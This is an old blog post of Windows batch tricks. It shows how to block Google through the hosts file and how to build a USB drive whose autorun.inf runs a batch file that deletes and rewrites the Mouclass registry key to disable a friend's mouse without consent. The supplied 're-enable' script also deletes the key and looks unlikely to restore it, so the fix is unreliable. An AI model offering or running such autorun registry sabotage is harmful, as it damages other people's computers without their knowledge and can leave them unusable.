Saturday 28 May 2011

Block Websites [For example, Google]

use notepad and save, as whatever .bat

Trick:
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 http://www.google.com >> "Hosts"





Your Ad Here

How to disable your friend’s mouse whenever your USB drive is inserted.

use notepad and save, as whatever .bat

Trick:
First we’ll create a batch file and then we’ll be creating autorun.inf file.

-Batch file ( copy/past ) [save it as filename.bat]

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

-Autorun file ( save it as autorun.inf )







[autorun]
Open=filename.bat
Action=Mouse Disable


Now copy both of the file in your or your friend’s USB drive. And that's it just plug in the USB Devlish !

To re-enable the mouse, simply create another batch file with following script:
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1